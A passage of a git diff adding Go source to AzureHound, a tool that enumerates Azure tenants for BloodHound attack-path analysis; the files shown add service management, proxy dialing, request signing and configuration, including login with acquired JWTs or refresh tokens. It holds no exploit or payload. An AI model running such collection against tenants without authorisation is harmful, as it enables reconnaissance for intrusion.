err + } else if res, err := do(bheClient, req); err != nil { + return nil, err + } else { + defer res.Body.Close() + if err := json.NewDecoder(res.Body).Decode(&response); err != nil { + return nil, err + } else { + return &response.Data, nil + } + } + } +} + +func endOrphanedJob(ctx context.Context, bheUrl url.URL, bheClient *http.Client, updatedClient *models.UpdateClientResponse) error { + if updatedClient.CurrentJob.Status == models.JobStatusRunning { + log.Info("the service started with an orphaned job in progress, sending job completion notice...", "jobId", updatedClient.CurrentJobID) + return endJob(ctx, bheUrl, bheClient, models.JobStatusFailed, "This job has been orphaned. Re-run collection for complete data.") + } else { + return nil + } +} diff --git a/cmd/svc_windows.go b/cmd/svc_windows.go new file mode 100644 index 0000000..a3109f4 --- /dev/null +++ b/cmd/svc_windows.go @@ -0,0 +1,82 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/logger" + "github.com/judwhite/go-svc" +) + +func StartWindowsService() error { + if err := svc.Run(&azurehoundSvc{}); err != nil { + return err + } else { + return nil + } +} + +type azurehoundSvc struct { + cancel context.CancelFunc +} + +func (s *azurehoundSvc) Init(env svc.Environment) error { + config.LoadValues(nil, config.Options()) + config.SetAzureDefaults() + + if logr, err := logger.GetLogger(); err != nil { + return err + } else { + log = *logr + config.CheckCollectionConfigSanity(log) + + if config.ConfigFileUsed() != "" { + log.V(1).Info(fmt.Sprintf("Config File: %v", config.ConfigFileUsed())) + } + + if config.LogFile.Value() != "" { + log.V(1).Info(fmt.Sprintf("Log File: %v", config.LogFile.Value())) + } + + return nil + } +} + +func (s *azurehoundSvc) Start() error { + if err := s.Stop(); err != nil { + return err + } else { + log.Info("starting azurehound service...", "config", config.ConfigFileUsed()) + ctx, stop := context.WithCancel(context.Background()) + s.cancel = stop + go start(ctx) + return nil + } +} + +func (s *azurehoundSvc) Stop() error { + if s.cancel != nil { + log.Info("stopping azurehound service...") + s.cancel() + s = nil + } + return nil +} diff --git a/cmd/uninstall_windows.go b/cmd/uninstall_windows.go new file mode 100644 index 0000000..a09e747 --- /dev/null +++ b/cmd/uninstall_windows.go @@ -0,0 +1,67 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "fmt" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/spf13/cobra" + "golang.org/x/sys/windows/svc/eventlog" + "golang.org/x/sys/windows/svc/mgr" +) + +func init() { + rootCmd.AddCommand(uninstallCmd) +} + +var uninstallCmd = &cobra.Command{ + Use: "uninstall", + Short: "Removes AzureHound as a system service", + Run: uninstallCmdImpl, + PersistentPreRunE: persistentPreRunE, + SilenceUsage: true, +} + +func uninstallCmdImpl(cmd *cobra.Command, args []string) { + if err := uninstallService(constants.Name); err != nil { + exit(fmt.Errorf("failed to uninstall service: %w", err)) + } +} + +func uninstallService(name string) error { + if wsm, err := mgr.Connect(); err != nil { + return err + } else { + defer wsm.Disconnect() + + if service, err := wsm.OpenService(name); err != nil { + return err + } else { + defer service.Close() + + if err := service.Delete(); err != nil { + return err + } else if err := eventlog.Remove(name); err != nil { + return err + } else { + return nil + } + } + } +} diff --git a/cmd/utils.go b/cmd/utils.go new file mode 100644 index 0000000..6d4792a --- /dev/null +++ b/cmd/utils.go @@ -0,0 +1,489 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "bufio" + "bytes" + "context" + "crypto/hmac" + "crypto/sha256" + "crypto/tls" + "encoding/base64" + "fmt" + "io" + "io/fs" + "net" + "net/http" + "net/url" + "os" + "path" + "path/filepath" + "runtime/pprof" + "time" + + "github.com/spf13/cobra" + "golang.org/x/net/proxy" + + "github.com/bloodhoundad/azurehound/v2/client" + client_config "github.com/bloodhoundad/azurehound/v2/client/config" + "github.com/bloodhoundad/azurehound/v2/client/rest" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/logger" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/bloodhoundad/azurehound/v2/sinks" +) + +func exit(err error) { + log.Error(err, "encountered unrecoverable error") + log.GetSink() + os.Exit(1) +} + +func persistentPreRunE(cmd *cobra.Command, args []string) error { + // need to set config flag value explicitly + if cmd != nil { + if configFlag := cmd.Flag(config.ConfigFile.Name).Value.String(); configFlag != "" { + config.ConfigFile.Set(configFlag) + } + } + + config.LoadValues(cmd, config.Options()) + config.SetAzureDefaults() + + if logr, err := logger.GetLogger(); err != nil { + return err + } else { + log = *logr + config.CheckCollectionConfigSanity(log) + + if config.ConfigFileUsed() != "" { + log.V(1).Info(fmt.Sprintf("Config File: %v", config.ConfigFileUsed())) + } + + if config.LogFile.Value() != "" { + log.V(1).Info(fmt.Sprintf("Log File: %v", config.LogFile.Value())) + } + + return nil + } +} + +func gracefulShutdown(stop context.CancelFunc) { + stop() + fmt.Fprintln(os.Stderr, "\nshutting down gracefully, press ctrl+c again to force") + if profile := pprof.Lookup(config.Pprof.Value().(string)); profile != nil { + profile.WriteTo(os.Stderr, 1) + } +} + +func testConnections() error { + if _, err := dial(config.AzAuthUrl.Value().(string)); err != nil { + return fmt.Errorf("unable to connect to %s: %w", config.AzAuthUrl.Value(), err) + } else if _, err := dial(config.AzGraphUrl.Value().(string)); err != nil { + return fmt.Errorf("unable to connect to %s: %w", config.AzGraphUrl.Value(), err) + } else if _, err := dial(config.AzMgmtUrl.Value().(string)); err != nil { + return fmt.Errorf("unable to connect to %s: %w", config.AzMgmtUrl.Value(), err) + } else { + return nil + } +} + +type httpsDialer struct{} + +func (s httpsDialer) Dial(network string, addr string) (net.Conn, error) { + return tls.Dial(network, addr, &tls.Config{}) +} + +func newProxyDialer(url *url.URL, forward proxy.Dialer) (proxy.Dialer, error) { + dialer := &proxyDialer{ + host: url.Host, + forward: forward, + } + + if url.User != nil { + dialer.user = url.User.Username() + dialer.pass, _ = url.User.Password() + } + + return dialer, nil +} + +type proxyDialer struct { + host string + user string + pass string + forward proxy.Dialer +} + +func (s proxyDialer) Dial(network string, addr string) (net.Conn, error) { + if s.forward == nil { + return nil, fmt.Errorf("unable to connect to %s: forward dialer not set", s.host) + } else if conn, err := s.forward.Dial(network, s.host); err != nil { + return nil, fmt.Errorf("unable to connect to %s: %w", s.host, err) + } else if req, err := http.NewRequest("CONNECT", "//"+addr, nil); err != nil { + conn.Close() + return nil, fmt.Errorf("unable to connect to %s: %w", addr, err) + } else { + req.Close = false + if s.user != "" { + req.SetBasicAuth(s.user, s.pass) + } + + // Write request over proxy connection + if err := req.Write(conn); err != nil { + conn.Close() + return nil, fmt.Errorf("unable to connect to %s: %w", addr, err) + } + + res, err := http.ReadResponse(bufio.NewReader(conn), req) + defer func() { + if res.Body != nil { + res.Body.Close() + } + }() + + if err != nil { + conn.Close() + return nil, fmt.Errorf("unable to connect to %s: %w", addr, err) + } else if res.StatusCode != 200 { + if res.Body != nil { + res.Body.Close() + } + conn.Close() + return nil, fmt.Errorf("unable to connect to %s via proxy (%s): statusCode %d", addr, s.host, res.StatusCode) + } else { + return conn, nil + } + } +} + +func getDialer() (proxy.Dialer, error) { + if proxyUrl := config.Proxy.Value().(string); proxyUrl == "" { + return proxy.Direct, nil + } else if url, err := url.Parse(proxyUrl); err != nil { + return nil, err + } else if url.Scheme == "https" { + return proxy.FromURL(url, httpsDialer{}) + } else { + return proxy.FromURL(url, proxy.Direct) + } +} + +func init() { + proxy.RegisterDialerType("http", newProxyDialer) + proxy.RegisterDialerType("https", newProxyDialer) +} + +func dial(targetUrl string) (string, error) { + log.V(2).Info("dialing...", "targetUrl", targetUrl) + if dialer, err := getDialer(); err != nil { + return "", err + } else if url, err := url.Parse(targetUrl); err != nil { + return "", err + } else { + port := url.Port() + + if port == "" { + port = "443" + } + + if conn, err := dialer.Dial("tcp", fmt.Sprintf("%s:%s", url.Hostname(), port)); err != nil { + return "", err + } else { + defer conn.Close() + addr := conn.LocalAddr().(*net.TCPAddr) + return addr.IP.String(), nil + } + } +} + +func newAzureClient() (client.AzureClient, error) { + var ( + certFile = config.AzCert.Value() + keyFile = config.AzKey.Value() + clientCert string + clientKey string + ) + + if file, ok := certFile.(string); ok && file != "" { + if content, err := os.ReadFile(certFile.(string)); err != nil { + return nil, fmt.Errorf("unable to read provided certificate: %w", err) + } else { + clientCert = string(content) + } + } + + if file, ok := keyFile.(string); ok && file != "" { + if content, err := os.ReadFile(keyFile.(string)); err != nil { + return nil, fmt.Errorf("unable to read provided key file: %w", err) + } else { + clientKey = string(content) + } + } + + config := client_config.Config{ + ApplicationId: config.AzAppId.Value().(string), + Authority: config.AzAuthUrl.Value().(string), + ClientSecret: config.AzSecret.Value().(string), + ClientCert: clientCert, + ClientKey: clientKey, + ClientKeyPass: config.AzKeyPass.Value().(string), + Graph: config.AzGraphUrl.Value().(string), + JWT: config.JWT.Value().(string), + Management: config.AzMgmtUrl.Value().(string), + MgmtGroupId: config.AzMgmtGroupId.Value().([]string), + Password: config.AzPassword.Value().(string), + ProxyUrl: config.Proxy.Value().(string), + RefreshToken: config.RefreshToken.Value().(string), + Region: config.AzRegion.Value().(string), + SubscriptionId: config.AzSubId.Value().([]string), + Tenant: config.AzTenant.Value().(string), + Username: config.AzUsername.Value().(string), + } + return client.NewClient(config) +} + +func newSigningHttpClient(signature, tokenId, token, proxyUrl string) (*http.Client, error) { + if client, err := rest.NewHTTPClient(proxyUrl); err != nil { + return nil, err + } else { + client.Transport = signingTransport{ + base: client.Transport, + tokenId: tokenId, + token: token, + signature: signature, + } + return client, nil + } +} + +type rewindableByteReader struct { + data *bytes.Reader +} + +func (s *rewindableByteReader) Read(p []byte) (int, error) { + return s.data.Read(p) +} + +func (s *rewindableByteReader) Close() error { + return nil +} + +func (s *rewindableByteReader) Rewind() (int64, error) { + return s.data.Seek(0, io.SeekStart) +} + +func discard(reader io.Reader) { + io.Copy(io.Discard, reader) +} + +type signingTransport struct { + base http.RoundTripper + tokenId string + token string + signature string +} + +func (s signingTransport) RoundTrip(req *http.Request) (*http.Response, error) { + // The http client may try to call RoundTrip more than once to replay the same request; in which case rewind the request + if rbr, ok := req.Body.(*rewindableByteReader); ok { + if _, err := rbr.Rewind(); err != nil { + return nil, err + } + } + + if req.Header.Get("Signature") == "" { + + // token + digester := hmac.New(sha256.New, []byte(s.token)) + + // path + if _, err := digester.Write([]byte(req.Method + req.URL.Path)); err != nil { + return nil, err + } + + // datetime + datetime := time.Now().Format(time.RFC3339) + digester = hmac.New(sha256.New, digester.Sum(nil)) + // hash the substring of the current datetime excluding minutes, seconds, microseconds and timezone + if _, err := digester.Write([]byte(datetime[:13])); err != nil { + return nil, err + } + + // body + digester = hmac.New(sha256.New, digester.Sum(nil)) + if req.Body != nil { + var ( + body = &bytes.Buffer{} + hashBuf = make([]byte, 64*1024) // 64KB buffer, consider benchmarking and optimizing this value + tee = io.TeeReader(req.Body, body) + ) + + defer req.Body.Close() + defer discard(tee) + defer discard(body) + + for { + numRead, err := tee.Read(hashBuf) + if numRead > 0 { + if _, err := digester.Write(hashBuf[:numRead]); err != nil { + return nil, err + } + } + + // exit loop on EOF or error + if err != nil { + if err != io.EOF { + return nil, err + } + break + } + } + + req.Body = &rewindableByteReader{data: bytes.NewReader(body.Bytes())} + } + + signature := digester.Sum(nil) + + req.Header.Set("Authorization", fmt.Sprintf("%s %s", s.signature, s.tokenId)) + req.Header.Set("RequestDate", datetime) + req.Header.Set("Signature", base64.StdEncoding.EncodeToString(signature)) + } + return s.base.RoundTrip(req) +} + +func contains[T comparable](collection []T, value T) bool { + for _, item := range collection { + if item == value { + return true + } + } + return false +} + +func unique(collection []string) []string { + keys := make(map[string]bool) + list := []string{} + for _, item := range collection { + if _, found := keys[item]; !found { + keys[item] = true + list = append(list, item) + } + } + return list +} + +func stat(path string) (string, fs.FileInfo, error) { + if info, err := os.Stat(path); err == nil { + return path, info, nil + } else { + p := path + ".exe" + info, err := os.Stat(p) + return p, info, err + } +} + +func getExePath() (string, error) { + exe := os.Args[0] + if exePath, err := filepath.Abs(exe); err != nil { + return "", err + } else if path, info, err := stat(exePath); err != nil { + return "", err + } else if info.IsDir() { + return "", fmt.Errorf("%s is a directory", path) + } else { + return path, nil + } +} + +func setupLogger() { + if logger, err := logger.GetLogger(); err != nil { + panic(err) + } else { + log = *logger + } +} + +// deprecated: use azureWrapper instead +type AzureWrapper struct { + Kind enums.Kind `json:"kind"` + Data interface{} `json:"data"` +} + +type azureWrapper[T any] struct { + Kind enums.Kind `json:"kind"` + Data T `json:"data"` +} + +func NewAzureWrapper[T any](kind enums.Kind, data T) azureWrapper[T] { + return azureWrapper[T]{ + Kind: kind, + Data: data, + } +} + +func outputStream[T any](ctx context.Context, stream <-chan T) { + formatted := pipeline.FormatJson(ctx.Done(), stream) + if path := config.OutputFile.Value().(string); path != "" { + if err := sinks.WriteToFile(ctx, path, formatted); err != nil { + exit(fmt.Errorf("failed to write stream to file: %w", err)) + } + } else { + sinks.WriteToConsole(ctx, formatted) + } +} + +func kvRoleAssignmentFilter(roleId string) func(models.KeyVaultRoleAssignment) bool { + return func(ra models.KeyVaultRoleAssignment) bool { + return path.Base(ra.RoleAssignment.Properties.RoleDefinitionId) == roleId + } +} + +func vmRoleAssignmentFilter(roleId string) func(models.VirtualMachineRoleAssignment) bool { + return func(ra models.VirtualMachineRoleAssignment) bool { + return path.Base(ra.RoleAssignment.Properties.RoleDefinitionId) == roleId + } +} + +func rgRoleAssignmentFilter(roleId string) func(models.ResourceGroupRoleAssignment) bool { + return func(ra models.ResourceGroupRoleAssignment) bool { + return path.Base(ra.RoleAssignment.Properties.RoleDefinitionId) == roleId + } +} + +func mgmtGroupRoleAssignmentFilter(roleId string) func(models.ManagementGroupRoleAssignment) bool { + return func(ra models.ManagementGroupRoleAssignment) bool { + return path.Base(ra.RoleAssignment.Properties.RoleDefinitionId) == roleId + } +} + +func connectAndCreateClient() client.AzureClient { + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(fmt.Errorf("failed to test connections: %w", err)) + } else if azClient, err := newAzureClient(); err != nil { + exit(fmt.Errorf("failed to create new Azure client: %w", err)) + } else { + return azClient + } + + panic("unexpectedly failed to create azClient without error") +} diff --git a/config/config.go b/config/config.go new file mode 100644 index 0000000..dfc506a --- /dev/null +++ b/config/config.go @@ -0,0 +1,372 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package config + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + config "github.com/bloodhoundad/azurehound/v2/config/internal" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type Config = config.Config + +var ( + homeDir, _ = os.UserHomeDir() + + // DefaultConfigFile is the path to the default configuration file. + // + // - $HOME/.config/azurehound/config.json (Unix/Darwin) + // - %USERPROFILE%\.config\azurehound\config.json (Windows) + DefaultConfigFile = filepath.Join(homeDir, ".config", "azurehound", "config.json") +) + +func SystemConfigDirs() []string { + prefixes := func() []string { + switch runtime.GOOS { + case "darwin": + return []string{"/Library/Application Support"} + case "linux": + if xdgDirs := os.Getenv("XDG_CONFIG_DIRS"); xdgDirs != "" { + return strings.Split(xdgDirs, ":") + } else { + return []string{"/etc/xdg"} + } + case "windows": + return []string{os.Getenv("PROGRAMDATA")} + default: + panic("unsupported operating system") + } + }() + + configDirs := []string{} + for _, dir := range prefixes { + path := filepath.Join(dir, "azurehound") + configDirs = append(configDirs, path) + } + return configDirs +} + +const EnvPrefix string = "AZUREHOUND" + +var AzRegions = []string{ + constants.China, + constants.Cloud, + constants.Germany, + constants.USGovL4, + constants.USGovL5, +} + +var ( + // Global Configurations + ConfigFile = Config{ + Name: "config", + Shorthand: "c", + Usage: fmt.Sprintf("AzureHound configuration file (default: %s)", DefaultConfigFile), + Persistent: true, + Default: DefaultConfigFile, + } + VerbosityLevel = Config{ + Name: "verbosity", + Shorthand: "v", + Usage: fmt.Sprintf("AzureHound verbosity level (defaults to %d) [Min: %d, Max: %d]", 0, -1, 2), + Persistent: true, + Default: 0, + } + JsonLogs = Config{ + Name: "json", + Shorthand: "", + Usage: "Output logs as json", + Persistent: true, + Default: false, + } + JWT = Config{ + Name: "jwt", + Shorthand: "j", + Usage: "Use an acquired JWT to authenticate into Azure", + Persistent: true, + Default: "", + } + LogFile = Config{ + Name: "log-file", + Shorthand: "", + Usage: "Output logs to this file", + Persistent: true, + Default: "", + } + Proxy = Config{ + Name: "proxy", + Shorthand: "", + Usage: "Sets the proxy URL for the AzureHound service", + Persistent: true, + Default: "", + } + RefreshToken = Config{ + Name: "refresh-token", + Shorthand: "r", + Usage: "Use an acquired refresh token to authenticate into Azure", + Persistent: true, + Default: "", + } + Pprof = Config{ + Name: "pprof", + Usage: "During graceful shutdown, prints the pprof profile with the provided name to stderr", + Persistent: true, + Default: "", + } + + // Azure Configurations + AzAppId = Config{ + Name: "app", + Shorthand: "a", + Usage: "The Application Id that the Azure app registration portal assigned when the app was registered.", + Persistent: true, + Default: "", + } + AzSecret = Config{ + Name: "secret", + Shorthand: "s", + Usage: "The Application Secret that was generated for the app in the app registration portal.", + Persistent: true, + Default: "", + } + AzCert = Config{ + Name: "cert", + Shorthand: "", + Usage: "The path to the certificate uploaded to the app registration portal.", + Persistent: true, + Default: "", + } + AzKey = Config{ + Name: "key", + Shorthand: "k", + Usage: "The path to the key file for a certificate uploaded to the app registration portal.", + Persistent: true, + Default: "", + } + AzKeyPass = Config{ + Name: "keypass", + Shorthand: "", + Usage: "The passphrase to use in conjuction with --key ${key file}.", + Persistent: true, + Default: "", + } + AzRegion = Config{ + Name: "region", + Shorthand: "", + Usage: fmt.Sprintf("The region of the Azure Cloud deployment (defaults to '%s') [%s]", constants.Cloud, strings.Join(AzRegions, ", ")), + Persistent: true, + Default: constants.Cloud, + } + AzTenant = Config{ + Name: "tenant", + Shorthand: "t", + Usage: "The directory tenant that you want to request permission from. This can be in GUID or friendly name format.", + Required: true, + Persistent: true, + Default: "", + } + AzAuthUrl = Config{ + Name: "auth", + Shorthand: "", + Usage: "The Azure ActiveDirectory Authority URL.", + Persistent: true, + Default: "", + } + AzGraphUrl = Config{ + Name: "graph", + Shorthand: "", + Usage: "The Microsoft Graph URL.", + Persistent: true, + Default: "", + } + AzMgmtUrl = Config{ + Name: "mgmt", + Shorthand: "", + Usage: "The URL of the Azure Resource Manager.", + Persistent: true, + Default: "", + } + AzUsername = Config{ + Name: "username", + Shorthand: "u", + Usage: "The user principal name for the Azure Portal", + Persistent: true, + Default: "", + } + AzPassword = Config{ + Name: "password", + Shorthand: "p", + Usage: "The user's password for the Azure Portal", + Persistent: true, + Default: "", + } + AzSubId = Config{ + Name: "subscriptionId", + Shorthand: "b", + Usage: "The subscription ID to use as a filter.", + Persistent: true, + Default: []string{}, + } + AzMgmtGroupId = Config{ + Name: "mgmtGroupId", + Shorthand: "m", + Usage: "The management group ID to use as a filter.", + Persistent: true, + Default: []string{}, + } + + // BHE Configurations + BHEUrl = Config{ + Name: "instance", + Shorthand: "i", + Usage: "The BloodHound Enterprise instance URL.", + Persistent: true, + Required: true, + Default: "", + } + + BHEToken = Config{ + Name: "token", + Shorthand: "", + Usage: "The BloodHound Enterprise token.", + Persistent: true, + Required: true, + Default: "", + } + + BHETokenId = Config{ + Name: "tokenId", + Shorthand: "", + Usage: "The BloodHound Enterprise token ID.", + Persistent: true, + Required: true, + Default: "", + } + + ColBatchSize = Config{ + Name: "batchSize", + Shorthand: "", + Usage: "The number of resources to send in a single batch sent to the server.", + Persistent: true, + Required: false, + Default: 100, + MinValue: 1, + MaxValue: 256, + } + + ColMaxConnsPerHost = Config{ + Name: "maxConnsPerHost", + Shorthand: "", + Usage: "The maximum number of connections made during collection.", + Persistent: true, + Required: false, + Default: 20, + MinValue: 1, + MaxValue: 200, + } + + ColMaxIdleConnsPerHost = Config{ + Name: "maxIdleConnsPerHost", + Shorthand: "", + Usage: "The maximum number of idle connections allowed during collection.", + Persistent: true, + Required: false, + Default: 20, + MinValue: 1, + MaxValue: 200, + } + + ColStreamCount = Config{ + Name: "streamCount", + Shorthand: "", + Usage: "The number of threads to use when collecting various resources.", + Persistent: true, + Required: false, + Default: 25, + MinValue: 1, + MaxValue: 50, + } + + // Command specific configurations + KeyVaultAccessTypes = Config{ + Name: "access-types", + Shorthand: "", + Usage: fmt.Sprintf("Filter key vault policies by one or more access type. [%s]\n\tNote: may be used multiple times or values may be provided as comma-separated list\n", strings.Join(enums.KeyVaultAccessPolicies(), ", ")), + Persistent: true, + Default: []enums.KeyVaultAccessType{}, + } + + OutputFile = Config{ + Name: "output", + Shorthand: "o", + Usage: "The path to the file in which to output data", + Persistent: true, + Default: "", + } + + GlobalConfig = []Config{ + ConfigFile, + VerbosityLevel, + JsonLogs, + JWT, + LogFile, + Proxy, + RefreshToken, + Pprof, + } + + AzureConfig = []Config{ + AzAppId, + AzSecret, + AzCert, + AzKey, + AzKeyPass, + AzRegion, + AzTenant, + AzAuthUrl, + AzGraphUrl, + AzMgmtUrl, + AzUsername, + AzPassword, + AzSubId, + AzMgmtGroupId, + } + + BloodHoundEnterpriseConfig = []Config{ + BHEUrl, + BHETokenId, + BHEToken, + } + + CollectionConfig = []Config{ + ColBatchSize, + ColMaxConnsPerHost, + ColMaxIdleConnsPerHost, + ColStreamCount, + } +) + +func ConfigFileUsed() string { + return config.ConfigFileUsed() +} diff --git a/config/internal/config.go b/config/internal/config.go new file mode 100644 index 0000000..5cff72f --- /dev/null +++ b/config/internal/config.go @@ -0,0 +1,157 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package internal + +import ( + "fmt" + "os" + "path/filepath" + "reflect" + "strings" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/spf13/viper" +) + +type Config struct { + Name string + Shorthand string + Usage string + Required bool + Persistent bool + Default interface{} + MinValue int + MaxValue int +} + +func (s Config) Value() interface{} { + switch reflect.ValueOf(s.Default).Kind() { + case reflect.Slice: + return viper.GetStringSlice(s.Name) + case reflect.Int: + return viper.GetInt(s.Name) + default: + return viper.Get(s.Name) + } +} + +func (s Config) Set(value interface{}) { + viper.Set(s.Name, value) +} + +type Options struct { + ConfigFile string + ConfigName string + ConfigType string + ConfigPaths []string + EnvPrefix string +} + +func Init(cmd *cobra.Command, configs []Config) { + for _, config := range configs { + viper.SetDefault(config.Name, config.Default) + if cmd != nil { + if config.Persistent { + setFlag(config, cmd.PersistentFlags(), cmd.MarkPersistentFlagRequired) + } else { + setFlag(config, cmd.LocalFlags(), cmd.MarkFlagRequired) + } + } + } +} + +func setFlag(config Config, flagSet *pflag.FlagSet, markRequired func(string) error) error { + switch config.Default.(type) { + case int: + flagSet.IntP(config.Name, config.Shorthand, 0, config.Usage) + case bool: + flagSet.BoolP(config.Name, config.Shorthand, false, config.Usage) + case []string: + flagSet.StringSliceP(config.Name, config.Shorthand, []string{}, config.Usage) + default: + flagSet.StringP(config.Name, config.Shorthand, "", config.Usage) + } + + if config.Required { + return markRequired(config.Name) + } else { + return nil + } +} + +func LoadValues(cmd *cobra.Command, options Options) { + if cmd != nil { + viper.BindPFlags(cmd.Flags()) + } + viper.SetEnvPrefix(options.EnvPrefix) + viper.SetEnvKeyReplacer(strings.NewReplacer("-", "_")) + viper.AutomaticEnv() + + if options.ConfigFile != "" { + // If set, ConfigFile gets the highest priority by prepending to ConfigPaths; ConfigPaths are searched + // in priority order from ConfigPaths[0] (highest priority) to ConfigPaths[len(ConfigPaths)-1] (lowest priority) + options.ConfigPaths = append([]string{filepath.Dir(options.ConfigFile)}, options.ConfigPaths...) + basename := filepath.Base(options.ConfigFile) + ext := filepath.Ext(basename) + if ext != "" { + options.ConfigType = ext[1:] + } + options.ConfigName = strings.TrimSuffix(basename, ext) + } + + setConfigSearchPaths(options.ConfigName, options.ConfigType, options.ConfigPaths) + + if err := viper.ReadInConfig(); err != nil { + switch err.(type) { + case viper.ConfigFileNotFoundError, *os.PathError: + fmt.Fprintf(os.Stderr, "No configuration file located at %s\n", options.ConfigFile) + default: + fmt.Fprintf(os.Stderr, "Unable to read config file: %s\n", err) + } + } + + if cmd != nil { + // Ensure all required values that actually have been set don't return an error. (See https://github.com/spf13/viper/issues/397) + cmd.Flags().VisitAll(func(flag *pflag.Flag) { + if viper.IsSet(flag.Name) && viper.Get(flag.Name) != nil { + switch reflect.ValueOf(viper.Get(flag.Name)).Kind() { + case reflect.Slice: + value := strings.Join(viper.GetStringSlice(flag.Name), ",") + cmd.Flags().Set(flag.Name, value) + default: + cmd.Flags().Set(flag.Name, fmt.Sprintf("%v", viper.Get(flag.Name))) + } + } + }) + } +} + +func setConfigSearchPaths(name string, extension string, paths []string) { + viper.SetConfigName(name) + if extension != "" { + viper.SetConfigType(extension) + } + for _, path := range paths { + viper.AddConfigPath(path) + } +} + +func ConfigFileUsed() string { + return viper.ConfigFileUsed() +} diff --git a/config/internal/config_test.go b/config/internal/config_test.go new file mode 100644 index 0000000..d19ba48 --- /dev/null +++ b/config/internal/config_test.go @@ -0,0 +1,99 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package internal + +import ( + "testing" + + "github.com/spf13/cobra" +) + +var ( + fooConfig = Config{ + Name: "foo", + Shorthand: "f", + Usage: "configure foo", + Default: "foo", + } + + barConfig = Config{ + Name: "bar", + Shorthand: "b", + Usage: "configure bar", + Default: 1, + } + + bazConfig = Config{ + Name: "baz", + Usage: "configure baz", + Persistent: true, + Required: true, + Default: false, + } + + cmd = cobra.Command{ + Use: "test", + Run: func(cmd *cobra.Command, args []string) {}, + } +) + +func init() { + Init(&cmd, []Config{fooConfig, barConfig, bazConfig}) +} + +func TestFooConfig(t *testing.T) { + cmd.Execute() + + if actual := fooConfig.Value(); actual != "foo" { + t.Errorf("got %s, want %s\n", actual, "foo") + } + + fooConfig.Set("bar") + + if actual := fooConfig.Value(); actual != "bar" { + t.Errorf("got %s, want %s\n", actual, "bar") + } +} + +func TestBarConfig(t *testing.T) { + cmd.Execute() + + if actual := barConfig.Value(); actual != barConfig.Default { + t.Errorf("got %v, want %v\n", actual, barConfig.Default) + } + + barConfig.Set(2) + + if actual := barConfig.Value(); actual != 2 { + t.Errorf("got %v, want %v\n", actual, 2) + } +} + +func TestBazConfig(t *testing.T) { + cmd.Execute() + + if actual := bazConfig.Value(); actual != bazConfig.Default { + t.Errorf("got %v, want %v\n", actual, bazConfig.Default) + } + + bazConfig.Set(true) + + if actual := bazConfig.Value(); actual != true { + t.Errorf("got %v, want %v\n", actual, true) + } +} diff --git a/config/utils.go b/config/utils.go new file mode 100644 index 0000000..a7c36a1 --- /dev/null +++ b/config/utils.go @@ -0,0 +1,88 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is 